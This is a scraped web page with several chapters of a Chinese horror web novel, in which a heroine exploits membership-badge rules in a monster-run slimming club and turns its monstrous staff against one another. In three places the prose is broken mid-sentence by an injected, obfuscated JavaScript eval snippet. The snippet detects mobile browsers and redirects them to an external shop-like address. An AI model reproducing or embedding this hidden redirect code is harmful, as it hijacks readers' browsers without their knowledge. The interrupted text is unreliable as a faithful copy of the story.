当初看到这两条规则后,她脑中就立刻产生了疑问:她不能拿工作人员的胸牌,但是在不让其它会员拿到她的胸牌、不构成“互换”的前提下,她是不是可以拿取其它会员的胸牌? 还有,会员不可以佩戴不属于本人的胸牌,那工作人员是否可以佩戴不属于它的胸牌呢? 既然发现了规则的漏洞,她自然想要试试,可惜之前一直没有机会,直到现在,她终于成功钻到了空子——她单方面拿到了其他会员的胸牌,并将它戴在了工作人员的身上。 不知道是不是她给伶伶别上的胸牌没有姓名的缘故,只见下一刻,会员胸牌空白的姓名栏处自动填充了它的名字:【会员-伶伶】。 与此同时,会员胸牌旁边的工作人员胸牌也发生了微妙的变化。 雁惊春低头揪起衣服前襟,将自己的胸牌与伶伶的相比对,很快便发现伶伶两枚胸牌上的字迹都变得比她的浅淡了许多。 莫非这代表伶伶如今同时拥有了两种身份,即属于工作人员,又属于会员? 正当她好奇伶伶的身份变化会带来哪些影响时,她眼角的余光忽然瞥见有什么正向她急速靠近。 她条件反射地转身往侧后方跳开,四面八方却同时有某种庞然大物逼近了她,令她避无可避。 她只能尽量护住身体要害部位,做好迎接冲击的准备,然而预想中的疼痛却没有袭来。 此时雁惊春才看清眼前的情形。方才接近她的并不是什么怪物或者机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986821|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是房间的墙壁与天花板。 整个医院场景像是一张被从外向内揉成一团的纸,迅速向内压缩,场景内的一切都在压缩中扭曲交织,如同穿模般彼此重叠在了一起。 雁惊春站在这片堆叠的建筑物内,却既没有受伤也不觉憋闷,因为这本就是伶伶构筑出的幻象。 在它被额外赋予了会员身份后,原本属于工作人员的能力大打折扣,连最基本的场景都无力维持,透明得仿佛下一刻就会彻底消失。 雁惊春的视线穿过幻影看向四周,发现自己在不知不觉间已经来到了会场中央,站在了第六块彩色地板上。 她放眼望去,第一块地板上还摊着那三堆皮包骨,第二至第六块地板上都堆积着建筑的虚影,每摊虚影均以地板边缘为界,各自填充了一整块地板的空间。 虽然虚影交错凌乱,但她仍能依稀辨认出,第二块地板上的是她曾经的办公室,第三块是治安队接待室,第四块是盥洗室,第五块是医院大堂,小柔正面朝下趴在上面,第六块就是她所在的诊室了。 看来每当她在幻境里穿过一道门或翻过一扇窗,在现实中就迈向了下一块地板。这些地板首尾相连,相应的幻象也无缝衔接。 如果要完成整场交流会,就得踏过从起点到终点的每一块地板,经历与地板数量相同的所有幻境。 难怪之前的能力者建议普通人干脆吃掉减肥药,比起浑浑噩噩地被伶伶摆弄着玩一圈过家家,在保有理智的情况下被不断篡改记忆、逼迫着做出违心举动显然更加难熬—— 不是顺着幻境走向被反复洗脑,最终彻底迷失自我,就是意识到不对试图反抗,然后被其它受到操纵的会员集体围剿。 雁惊春识破交流会的套路后,又开始考虑另一个问题:既然在交流会中能随意穿过通道到达下一个场景,那与之同理,现在这些地板应该也能随意跨越了吧? 她试探着朝下一块地板伸出脚,果然没再受到丝毫阻碍。 确认前路畅通后,她又折返回第五块地板,拖麻袋般抓住小柔的手腕拽着他一起走。 小柔很可能是叛徒,雁惊春想过要不要干脆让他在活动中“不幸罹难”,可她尚不清楚老王对此事的态度,思虑再三,还是觉得不值得为个男的去冒和老王闹翻的风险,索性决定将他带出去交由老王处置。 至于伶伶,当然也要一起带出会场控制起来。 不过她现在一手拖着小柔,一手拎着斩骨刀,实在空不出手去拉伶伶,好在它睡得很沉,雁惊春干脆把它当成足球踢着走。 伶伶的躯体随着她每次落脚传出“咔嚓”、“咯吱”的响声,雁惊春充耳不闻,就这么一路将它踢到了出口。 当她站在最末一块地板上时,出口的感应门缓缓开启。 门外的干饭大王正气喘吁吁地打算对着出口大门再踹一脚,就见感应门突然打开,一个不知道是什么的东西急速从门内滚出。 干饭大王没收住动作,下意识微微调转方向朝那东西踢了过去。 霎时,那东西又“骨碌碌”地滚回了门内。 雁惊春:“......大王,先别动脚,这是战利品。” 干饭大王这才看清是雁惊春出来了,顾不得细看自己刚才踢中了什么玩意儿,当即惊喜地小跑过去:“神医,你居然这么快就出来了!你还好吗?” 老王也闻声从入口附近赶来,她没急着说话,而是先仔细打量了雁惊春一番,确认她身上没有明显外伤后才略微舒缓了神色。 然而当老王的目光扫到被面朝下拖出来的小柔后,她脸上的神情又立刻变得阴沉起来。 35. 异食俱乐部14 干饭大王却没注意到被雁惊春拖在身后的小柔,在确认了她并未受伤后,干饭大王一边好奇地询问她是如何从交流会脱身的,一边看向被她踢出会场的“战利品”。 它此时正以一种扭曲怪异的姿势趴在地上,干饭大王看不清它的长相,但还是根据它颇具特色的衣着判断出了它的身份。 “这该不会是伶伶吧?”她有些不敢相信地上前将它翻了个面,“我的天姥姥啊,还真是它!......咦,奇怪,它胸口怎么多了一个胸牌?” 老王闻言也凑了过来,仔细观察:“这个胸牌上写得是它的名字,身份却是会员,那它现在究竟属于会员还是工作人员?还有这个多出的胸牌......” 老王没继续说下去,只是抬眼瞟了眼雁惊春的胸口,在看到她佩戴着胸牌后,又将目光投向了趴伏在地的小柔。 雁惊春注意到她的视线,俯身抓住小柔后颈处的衣服将他拎起,主动说明:“多出的胸牌不是从小柔身上拿的,是在那些瘦得像骷髅似的会员身上的。” 她大致讲述了一番自己在会场内的遭遇,不过隐去了与精神污染相关的部分,也没有提出小柔可能已经背叛的推测。 好在老王没有包庇的意思,在听雁惊春讲完自己的经历后,便将会场外发生的事和盘托出,并向她道歉:“小柔毕竟是我带来的人,他做出这种事让你陷入险境,我也难辞其咎。之后我会单独行动,不会再拖累你。” 雁惊春不置可否:“既然小柔是你带来的人,那他现在当了叛徒,你打算怎么处置他?” 还没等老王回答,小柔眼皮颤了颤,缓缓睁开了眼睛。 他的脑袋晕得厉害,比之前参加交流会的后遗症更加严重,精心保养过的皮肤火辣辣的疼,腹部仿佛受过重击,稍一活动便痛得他不住吸气。 之前不只是脑袋疼吗,这次怎么浑身都疼?但是觉得痛就代表着他活下来了吧。 小柔心怀庆幸地抬手抹掉眼中的生理性泪水,却不料一抬眼就对上了老王冷漠的视线。他一个激灵,慌忙想要躲避,却被身后的力道拽住,动弹不得。 他僵硬的转动脖颈,与似笑非笑的雁惊春四目相对。 “我,我不是故意的......”小柔膝盖一软,眼泪顿时又涌了出来:“我只是太害怕了......这不能怪我!” 老王打断了他的话,对雁惊春道:“神医,小柔毕竟是我看着长大的,他能做到不念旧情,可我没法像他那么无情。我不会直接对他动手,但之后我会时刻监督他,不让他做出对你们不利的事情。在空白时段我会把他关进宿舍,不让他随意走动,在活动中也不会再给他提供保护,你觉得这样可以吗?” 雁惊春没打算逼老王手刃亲人,只是不想再让小柔影响以后的行动。见老王已经表态,她便将小柔推了过去:“好,我相信你。不过我还是觉得,如果你愿意放弃他,跟我们组队,我们成功逃离的概率会更高。” “算了,我现在的精神状态已经不算太好,就算组队恐怕也帮不了你们什么,只能保证不给你拖后腿。”老王摇摇头,钳制住小柔往外走去。 “等等。”雁惊春叫住她,往她口袋里塞了两支营养剂:“这是我做的减肥药,我自己用不了这么多,分你一点。” “多谢。”老王笑着朝她点头致意,押着小柔走进了电梯。 电梯载着他们去往楼上的宿舍,小柔的哭闹声也逐渐远去,很快便再也听不到了。 干饭大王不由叹气:“哎,又是这样。之前我也想过找老王合作,但她身边那个小柔实在太作了,老是拖后腿,老王又不忍心丢下他,搞得我最后只能放弃跟她合作的念头。” 雁惊春也觉得可惜,但她和老王的交情还不够深厚,不好过分干涉老王的选择,唯一能做的就是尽快破茧。 时间紧迫,干饭大王唏嘘了一会儿,便重新说起正事:“不管他们了,下一场活动是瘦身运动,你得提前记住几个安全点。” 提到“瘦身运动”,干饭大王的表情变得有些沉重:“不知道你有没有发现,之前的讲座和交流会都倾向于给我们洗脑,只要遵守规则就不会受到身体上的伤害,只是脑子会变得不太清醒。可是之后的瘦身运动恰恰相反,它们不会再给我们洗脑,而是——直接开始屠杀。” “你还记得老王提起过的死去的家人吗?他们就是在瘦身运动中遇害的。” 雁惊春下意识看了眼电梯的方向,现在电梯显示停留在5楼。如果5楼是宿舍的话,4楼很可能就是瘦身运动的场地了,俱乐部每层楼的面积都不算太大,倘若蜕们直接展开追杀,作为普通人的会员本该无处藏身,为什么会有“安全点”?难道这场活动也会制造幻境? 干饭大王看出了她的疑惑,也不卖关子,解释道:“瘦身运动和其它活动不同,我们虽然需要在5楼签到,但活动的会场却并不局限于5楼。在活动开始后,我们每隔一段时间就会被随机传送一次,传送的位置可能在1至5层中的任何地点。” “而且,这场活动不再只有一个工作人员,除了5楼负责给我们签到的‘教练’以外,其它三个工作人员也会一起参与活动。” 雁惊春瞥了眼昏迷的伶伶:“那如果我们待会儿能被传送到2楼或3楼,是不是就暂时安全了?” “不是的,瘦身运动开始后,工作人员就可以离开自己负责的楼层,使用电梯在1至5楼间自由移动,所以哪个楼层都不安全。另外,活动开始后记得千万不要乘坐电梯,否则很可能和工作人员撞个正着。”干饭大王轻轻呼出口气,“不过你现在已经解决了一个半工作人员,我们这次活动的压力能减轻一些了。” 雁惊春若有所思:“它们离开自己负责的楼层后,就可以不受规则限制,随意发起攻击了吧?” 干饭大王点头。 “根据手册里的规定,我们不能反击,那设置陷阱约束它们的行动呢?比如苗苗,它还挺弱的,我一个人就能把它控制住。”雁惊春提议,“到时候我们埋伏在电梯口,来一个工作人员就绑一个,把它们都捆住了,我们不就安全了?” 干饭大王神情复杂地看着她:“......老王的家人,就是这么死的。” 雁惊春:“啊?” 干饭大王深吸口气,双手不自觉地握在一起,回忆起那时的场景:“三天前的下午,我来第4区参加一个线下活动,没想到导航出了问题,指引的路线变来变去,害得我走错了好几回。” “眼看着活动就要开始了,导航出的路线还乱七八糟的,我心里着急,打算干脆找个路人或者店铺问问路。刚抬起头,就正好看见了这家瘦身俱乐部。” “我记得之前曾在社交软件上刷到过这家俱乐部,没多想就进去了。结果前台说它有指标要求,必须登记为会员才能给我指路。我当时也不知道是怎么想的,居然没有转身就走,还真按它说的登记了会员。” 雁惊春见她满脸懊恼,宽慰道:“没办法,谁让这个俱乐部不是人开的呢?你那时候恐怕已经受到了蛊惑,没有用真名登记就已经很好了。” “说的也是。”干饭大王重新打起精神,“我还是接着往下说吧,在我登记为会员后,苗苗就给我指引了活动场地——当然,不是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008888|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去的那个活动,而是这家俱乐部5楼。” “5楼?”雁惊春蹙眉,“这么说你当时正好赶上了瘦身运动?” “是啊。”干饭大王苦笑,“教练说大家都在等我,催着我赶紧签到,我不好意思耽误大家的时间,稀里糊涂地签了到,下一秒就被传送到了2楼的礼堂里。” “巧的是,老王那两个家人和我传送到了一起,我想问问他们这到底是什么情况,可他们刚一落地就跑出礼堂,躲到了电梯旁边,还冲我比了个‘嘘’的手势。” “我看他们的表情都很严肃,觉得不好打扰,就先在礼堂里找了个位置坐下,打算边玩光脑边等他们。” “没想到光脑没有信号,我正觉得奇怪,却不料听见了他们的惨叫声。我赶紧跑到门口,就看见——”干饭大王咽了咽口水,声音变得很轻:“你知道凌迟吗?” “我看见,教练正在抓走他们身上的肉。不是一击毙命的那种,而是一块接一块、一块接一块地......” 被刻意遗忘的记忆重新在脑海中浮现,干饭大王忍不住干呕起来。 雁惊春默默上前,揽住了她的肩膀。 半晌,干饭大王终于缓过劲来,她没再描述当时的细节,只是将自己的《会员手册》翻开,递给雁惊春:“那天我回到宿舍后意外发现了这本手册,这才知道他们为什么会死于非命,可惜那时已经晚了。” 雁惊春看向摊开的手册,只见空白处写着几行凌乱的批注:【瘦身运动开始后,不要试图触碰它们!无论它们曾经多么瘦弱无力,在瘦身运动中它们是不同的!】 【只能躲避!无论你是卵还是虫!等到时间消耗完毕或达到除罪指标,活动就会结束!】 “除罪指标”四个字写得格外潦草,上面还泄愤般划了几道很深的痕迹。 想到“肥胖即是罪孽”的规则和干饭大王方才的描述,雁惊春不由猜测“除罪”指的就是从会员身上拿走血肉的过程。 再之后就是一连串的“安全点”,标注得极为详细,比如:“2楼礼堂内倒数第二排、左数第三个座位”、“3楼出口感应门右侧三米”等等,每个楼层都有至少一个、至多两个安全点,中间还穿插着不少被完全涂抹掉的字迹,或许是已经失效的安全点。 最下面写着四个大字:【保持安静!】 干饭大王在一旁补充:“这些安全点都是真的,我前两天试过,只要被传送到对应楼层后立即跑到安全点的位置并保持安静,即使有工作人员从眼前经过也不会被发现。” 雁惊春忍不住多看了她一眼。虽然干饭大王说得轻描淡写,但对于一个没有觉醒天赋的普通人而言,能在未知的杀人怪物路过时保持冷静可不是件容易的事。 干饭大王的心理素质果然非同一般。 雁惊春拍拍她的肩:“大王,谢谢你愿意给我分享情报。但有件事我们得提前说好,3楼和4楼都只有一个安全点,范围又很小,如果我们不巧传送到了这两个楼层,你一个人躲到安全点就好,不用管我,我会自己想办法躲避追击。” 干饭大王望着她脸上自信的表情,又想起被她解决的两个工作人员,默默点了点头。 雁惊春朝她笑笑,转身走向电梯:“好啦,既然提前知道了瘦身运动的规则,那我可得趁着活动还没开始好好准备一下。” 干饭大王立刻跟上她的脚步:“准备?我们有什么能准备的吗?” “当然有。”雁惊春掏出剩下两枚空白的会员胸牌,“你说,在它们找不到我们的情况下,会不会把既是‘工作人员’又是‘会员’的同类当成目标呢?” 36. 异食俱乐部15 “啊?还能这样?”干饭大王感觉大脑皮层的褶皱被瞬间抚平了,她亦步亦趋地跟着雁惊春走进电梯,看着她按下了1楼:“你这是要去找苗苗?” 雁惊春点点头:“没错。现在剩下的两个能自由活动的工作人员里,教练我还没接触过,要待会儿上楼看了情况才知道能否下手。至于苗苗,我之前向它要过《会员手册》,对它有些了解,先给它戴胸牌会更有把握。” “更重要的是,苗苗和伶伶之间的关系好像不太好,一旦有了自相残杀的机会,它们两个撕起来的可能性更大。” 她将一枚胸牌塞进干饭大王手中:“等下见机行事,我们俩谁给它戴上胸牌都可以。还有,规则里没说胸牌一定要戴在胸口,随便找个不起眼的地方别上去就好。” 说话间,电梯已经停在了1楼。 电梯门缓缓打开,雁惊春目视前方,恰巧与从前台探头张望的苗苗对上了视线。 苗苗脸上立刻浮现出警惕的表情,它下意识扭头去看活动安排表,在看清指针位置后,不可置信地望向朝它走来的雁惊春:“你怎么会在这个时候过来?难道你没参加交流会?” 雁惊春摊手:“交流会已经结束了啊。” “提前这么久?”苗苗又看了眼活动表,突然意识到什么,露出幸灾乐祸的笑容:“我知道了,伶伶那贱货被你折腾得够呛吧?” “听不懂你在说什么,我们交流得还挺愉快的。”她若无其事地将胳膊搭到前台上,侧身挡住了干饭大王的身影。 或许是雁惊春给苗苗留下的印象过于深刻的缘故,苗苗的注意力始终放在她身上,全然没留意到干饭大王已经趁机挪到了它身侧,偷偷往它的衣角上别了一枚胸牌。 雁惊春故意没看干饭大王所在的方向,但当她瞥见苗苗胸前姓名牌上的字迹变得浅淡后,就知道干饭大王已经得手。 她没有立刻停止交谈,而是等干饭大王撤离到了较远的位置,又缠着苗苗多给了一本《会员手册》,才不紧不慢地离开前台,返回了电梯间。 当前电梯楼层显示器上的数字是“4”,看来在她们和苗苗周旋期间,老王和小柔已经到4楼签到了。 雁惊春捏了捏口袋中新领的《会员手册》,打算待会儿见到老王后就将手册交给她,尽量帮她多坚持一段时间。 等到电梯重返1楼,两人再次登上电梯,前往4楼签到。 趁着电梯上升的间隙,干饭大王告诉她,被佩戴在苗苗身上的会员胸牌也显现出了它的名字。 “那就好。”雁惊春满意地点点头,期待着苗苗和伶伶这对塑料兄弟能在稍后的瘦身运动中自相残杀。 干饭大王的表情却并不轻松。她盯着不断跳动的楼层数,抿了抿唇,终于忍不住道:“神医,给它俩戴上会员的胸牌应该就够了吧?有必要给教练也上牌吗?它......” “叮”的一声,电梯抵达了4楼,干饭大王的声音戛然而止。 随着电梯门开启,两个熟悉的身影映入眼帘,正是老王和小柔。 老王主动打了个招呼:“我们已经签完到了,你们也快过去吧。” 她顿了顿,又向雁惊春多解释了一句:“瘦身运动比较特殊,只要曾在4楼签到过,无论活动开始时身处何地,都能正常参加。” 雁惊春点头表示理解:“毕竟瘦身运动是手册里规定必须全员参加的活动嘛。” 她顺势将刚拿到的《会员手册》递给老王:“对了,之前听讲座时我注意到你好像还没有手册,这是我刚在楼下找苗苗要的,给你。” 老王微怔,旋即神色复杂地接过手册:“之前我去找苗苗时它一直嚷嚷着库存不足,原来手册不是没有了,是被它自己藏起来了。” 她小心收好手册,抬起头郑重地望向雁惊春:“神医,我们非亲非故,你却帮了我这么多,大恩不言谢,虽然在俱乐部里我给不出什么回报,但倘若我们能成功离开......” 想到此时双方用的都是假名,她停顿片刻,简短道:“到时候,我一定登门拜谢。” “好啊,那我可等着了。”雁惊春笑眯眯地颔首,没有告诉老王,作为普通人,她在破茧后就会被抹去与俱乐部相关的记忆,她们会重新变成陌生人,或许这辈子都不会再有交集。 谈话结束,两拨人擦肩而过。老王大步迈入电梯,朝她们挥手致意。小柔似乎被教训过了,终于不再哭闹,紧跟着老王走进电梯,蜷缩在了最里面的角落。 电梯门重新合拢,雁惊春轻叹口气,转身往电梯间外走去。 下一刻,她的视线便牢牢被伫立在斜前方的怪物吸引了。 没错,比起尚具人形的苗苗、猛瘦和伶伶,这个名为“刮脂”的教练能让人一眼便认出它怪物的身份。 它比之前的三个工作人员更为瘦削,身上没有能被称之为“衣服”的东西,只有几片破烂不堪的布料,堪堪挂住了胸牌,却完全遮掩不住那身干枯、破烂的皮肉。在它摇摇欲坠的表皮间,森森白骨若隐若现。 然而这个骷髅般的蜕却不会让人觉得孱弱,一是因为它的骨架极为高大粗壮,即便缺少了脂肪和脏器的填充,它的身形轮廓目测也有普通人类体型的1.5倍。 二是因为它的双手和牙齿异常庞大且尖利,它没有嘴唇,野兽般的牙齿尽数裸露在外,涎水一刻不停地自齿间流下;双掌与躯干的比例严重失衡,手部骨骼结实锐利,如同五柄熔炼在一起的骨刀,沉甸甸地衔接在腕骨下方,坠得它身形伛偻。 干饭大王别开脸,刻意避免将它纳入视野范围,小声道:“玩意儿虽然不太聪明,但长得实在太瘆人了,破坏力也比其它工作人员高得多。要不我们也签完到就撤吧?” 雁惊春打量着对她们视若无睹的怪物,低声回复:“先过去看看情况,如果实在不好下手就撤,不用勉强。” 两人一前一后往签到处走去,离得近了,刮脂带来的压迫感愈发明显。 干饭大王屏气凝神地在它旁边的机器上完成签到就立即后撤,在几步远的地方安静等待。 雁惊春随后上前,先扫了一眼机器显示屏上的签到表。 此时签到表上只剩下了五个人,她、干饭大王、老王、小柔和nono,现在只剩她和nono没有完成签到。 她不免有些奇怪,瘦身运动不是全员必须参加的活动吗?难道nono连这种活动都能缺席? 另外换个角度想想,这场活动为什么也要设置签到环节?反正全员都被强制参与了,等到活动开始,直接开启传送不就行了? 思绪纷飞间,雁惊春已经学着干饭大王方才的操作完成了签到,借着转身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012463|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会快速朝刮脂瞟去一眼。 正对上了它空洞的眼眶。 刮脂竟不知何时转动了身体,它脊背佝偻得更加厉害,使得光裸的头骨恰好对上了她的头颅。 在与她面对面后,刮脂的喉间发出“咔嚓”、“咔嚓”的细微声响,头骨继续朝着她的方向探来。 雁惊春的心头猛地一跳,但她此前已经剿灭过不少怪物,很快便恢复镇定,一面不动声色地缓步后退,一面试探着朝它伸出了手。 刮骨没做出什么特殊的反应,依然在动作迟缓地向她靠近。 雁惊春紧盯着它的一举一动,迈着不疾不徐的步伐,引着它随自己移动的同时,伸向它的手指微微动作,拨开了藏在手心的会员胸牌的别针。 干饭大王看得心惊肉跳,在此之前,刮脂只会在瘦身运动期间有所行动,其余时间都如同一具模型般老实地站在4楼的签到处,如今怎么会突然破例?难道是因为神医干掉了它的同伴,所以它想要展开报复? 她忧心不已,忍不住低声呼唤:“神医?” 雁惊春没有移开视线,只轻声道:“电梯。” 干饭大王立即会意,忙跑进电梯间按亮了向下的按钮,目光焦急地在楼层显示器与雁惊春之间转来转去。 电梯不紧不慢地来到4楼,刚一开门,干饭大王便灵巧地钻进电梯,用力按紧了开门按钮:“神医!” 听到她的呼唤,雁惊春的手臂倏然朝前递去,眼疾手快地将胸牌别在了一块还算完好的布料上。 紧接着,她利落地旋身与刮脂拉开距离,双腿猛然发力,全速向电梯奔去。 在她身后传来沉重的脚步声,刮脂的速度也加快了些许,它仗着身高腿长,步伐迈得更大,与雁惊春的距离忽远忽近。 她头也不回,直接冲进电梯,干饭大王立刻狂按关门键,终于赶在刮脂闯入前关上了电梯门。 雁惊春随手按下“2楼”,电梯便载着她们往楼下驶去。 等到电梯停稳,二人重新走进目前对她们而言最安全的礼堂,干饭大王终于长呼口气,一屁股坐在了离她最近的座位上:“吓死我了......” 雁惊春拍拍她的肩:“大王别怕,虽说刚才是有点惊险,但现在三个工作人员都增加了‘会员’身份,等会儿的瘦身运动就能轻松一些,运气好的话说不定还有好戏看呢。” 干饭大王故作谦卑地低下头:“姐,您真是我见过的最娘们的人,从今往后我就是您的忠实小妹,别叫我大王了,叫我小王就行。” 雁惊春忍俊不禁,又和她打趣两句,等干饭大王的情绪逐渐恢复平缓才起身离开:“活动应该快开始了,你先在这里休息一会儿,我上楼看看伶伶的情况。” 她担心的不是精神污染失效,而是担心精神污染的效果太好。 ——她费劲心思给它们戴会员胸牌,就是想看它们同室操戈,怎么可能让伶伶舒舒服服地睡过整场活动? 等到了3楼,伶伶果然还在地上熟睡。雁惊春毫不犹豫地对它颁布新的治疗方案,强行将它从沉睡中唤醒。 睡什么睡啊,该起来互撕啦! 她的时间掌控得极好,在伶伶迷蒙地睁开双眼的瞬间,她周围的场景便骤然发生了变化,眨眼间便被传送到了另一个地方。 瘦身运动开始了。 37. 和谐小区16 雁惊春观察着周围略显陌生的环境,发觉自己被传送到了4楼。 幸运的是,刮脂被传送去了其它楼层,目前4楼并没有工作人员。 不幸的是,老王也被传送到了这里,而4楼的安全点只有一个。 更不幸的是,电梯动了。 雁惊春朝楼层显示器投去一瞥,发现上面的数字正在不断变大,没多久就跳过了2楼,到达了3楼。 然而,电梯仍旧没有停下的意思。 “快来这里!”老王站在她左侧的墙角处,语气急切:“我之前试过,躲在这里它们就发现不了了!” 雁惊春朝她所在的方位看了一眼。老王说的没错,那的确是一个安全点,可那个安全点的面积实在太过狭小,只够容纳一人藏身,如果她也挤过去,恐怕两个人都会有暴露的风险。 心念电转间,她将视线投向了正对着电梯的那面墙壁,墙的左右两端各安装着一扇推拉门。 倘若每层楼的面积相同,根据她所在的空间大小推断,门后的空间应该比3楼的会场更大、与2楼的礼堂相仿。 明明有这么大的面积可供使用,为什么瘦身运动不延续之前的活动形式,将那里当做会场,让刮脂负责活动呢? 这个疑问在她脑中一闪而逝,时间紧迫,她顾不得细思,便径直朝着离她更远的那扇门奔去。 ——原因无它,参考3楼会场的格局,雁惊春认为那扇门是入口的可能性更大。 值得庆幸的是,她的判断是正确的。 在电梯“叮”的一声停在4楼的同时,她成功推开了那道门,灵巧地钻了进去。 * 与此同时,俱乐部2楼的礼堂内。 干饭大王敛声屏气地坐在倒数第二排、左数第三个座位上,这是2楼的安全点之一。为了避免越界,她将脊背挺得笔直,双手规矩地搭在膝盖上,仅略微偏转脑袋,瞄向讲台上方。 不知她的运气算好还是算坏,竟在首轮传送中便跟一个工作人员传到了同一楼层,而这个工作人员正是曾被神医踹出会场的伶伶。 它此刻已经苏醒,但脑子似乎出了点问题,肢体也变得极不协调。干饭大王眼看着它数次以怪异的姿势撑住地面,试图爬起又很快跌倒,躯干反复砸落在地,发出接连不断的闷响。 她不由好奇神医在交流会上究竟做了什么,居然把它搞成了这幅样子。不过也多亏它现在自顾不暇,她才能如此顺利地在安全点落座。 礼堂外的电梯在此时响起轻微的嗡鸣声,打断了干饭大王的思绪。从她的位置看不到电梯口,仅能通过电梯运行时的声音来判断其它工作人员的动向。 这已经是活动开始后的第二趟电梯了,第一班电梯没有在2楼停留,不知道去了哪层,她暗自期望这次电梯能够停在2楼。 一来她如今的位置暂时安全,不怕与工作人员打照面,它们来这里只会浪费时间。二来她心中还记挂着神医说过的话—— “在它们找不到我们的情况下,会不会把既是‘工作人员’又是‘会员’的同类当成目标呢?” “叮。”仿佛应和着她的期许般,伴随着一声清晰的提示音,电梯停在了二楼。 耳畔传来电梯门向两侧滑开的声音,紧接着是由远及近的脚步声。 干饭大王忍不住向声音传来的方向微微偏头,没瞧见来者的身形,倒是先听到了它的声音:“哟,这不是伶伶吗?我记得上次见面时你还很神气呢,怎么这会儿连站都站不起来了?” 是苗苗。 它完全没有在四周搜寻会员的打算,径直沿着礼堂的过道朝台上走去,似乎已然忘记了自己的职责,只想好好嘲笑一下眼前狼狈的宿敌。 听到它的声音,伶伶的头颅倏然抬起,四肢疯狂舞动,竟强撑自己站了起来。 干饭大王在台下看着这一幕,心中感叹:果然,男的还是在雄竞这档事上最起劲,就连怪物都不能免俗。瞧瞧它俩,看到自己的塑料兄弟后工作也不急了,腿脚也灵便了,眼里就只剩下与对方互扯头花那点事了。 她个人对这种戏码没什么兴趣,但如今情况特殊,她一旦离开安全点就会暴露身形,只能被迫坐在原位看它俩的热闹。 只见伶伶继成功起身后再度触发了医学奇迹,原本只能发出“嗬嗬”声的嗓子居然挤出了沙哑的话音:“那又怎样?你这个......废物......别忘了,创始人已经把减肥药......给了我!” 伶伶的回怼虽然说得磕磕绊绊,却精准地戳到了苗苗的痛处。它们对于减肥药的重要性都心知肚明,深知谁负责发放减肥药,就代表着谁最受创始人看重。 苗苗的眼眶立刻红了:“你这个贱货,你还有脸提这件事!当初我都快摆脱那个能力者了,要不是你暗中使坏,减肥药怎么会被她污染!你就是个为了上位不择手段的贱货!” 伶伶不甘示弱:“废物就是废物......你自己保护不好减肥药,创始人当然要交给更有能力的......接管!” 干饭大王听着它们你一言我一语的争执,敏锐地捕捉到了它们话语中的关键词:能力者。 它们口中的能力者指得是虚拟作品里那种手心点火、眼冒激光的变种人吗?难道超能力居然真的存在? 不过想来也有道理,安全区都出现这种怪物了,要是没有能与之抗衡的能力者,她恐怕根本没法安安稳稳地活到现在。 她不免又回想起神医进入俱乐部以来的种种表现,严重怀疑她就是一名能力者。 在干饭大王神游天外时,讲台上两只蜕的争执已经由言语互喷升级为了肢体冲突。 伶伶仗着自己掌管了分配减肥药的重要工作,即便说话结巴也将苗苗怼得哑口无言。苗苗恼羞成怒,当即将俱乐部给工作人员定下的规则抛在了脑后,直接一把扯住了伶伶稀疏的头发。 “啊!”伶伶高声尖叫,不仅拉回了干饭大王的注意,也将苗苗吓了一个激灵。 它后知后觉地盯着手中被撕扯下来的一块头皮,脑中只剩下一个念头:完了。 创始人规定工作人员之间要团结友爱,严禁互相伤害,它现在违反了规则,一定会受到惩罚...... 苗苗慌忙丢下手中的头皮,双眼紧闭,身体不受控制地颤抖起来。可等了半晌,它预想中的惩罚却并未降临。 这是怎么回事?难道方才的行为不算伤害其它工作人员吗?苗苗小心翼翼地睁开眼,仔细打量捂着脑袋痛呼不止的伶伶,突然发现它的胸前似乎别着两枚胸牌。 苗苗先是愣了一下,接着一把揪住伶伶的衣领,用力将它扯近,仔细观察起来。 只见伶伶原有的胸牌旁边,不知何时多出了另一个胸牌:【会员-伶伶】。 “哈,哈哈!”苗苗的喉间溢出两声冷笑,毫不犹豫地再次伸出手,朝伶伶身上干瘪的皮肉抓去。 它心里清楚那枚会员胸牌很可能是妙手回春给伶伶戴上的,但那又怎样呢?伶伶当初不也是在其他能力者攻击它时暗中帮忙,才害得它失去了创始人的宠信吗?它如今只是在用同样的手段反击而已! 至于它是不是被妙手回春当枪使了,它才不在乎,反正会员总是来来去去,只有同事才是一生之敌。她给了它攻击伶伶的机会,它还得谢谢她呢! 苗苗的动作极快,手臂在空中挥出残影,顷刻间便在伶伶身上接连抓下了好几把肉,而后看也不看地甩在了地上。 伶伶痛叫连连,终于忍无可忍,也朝苗苗的胳膊抓去。 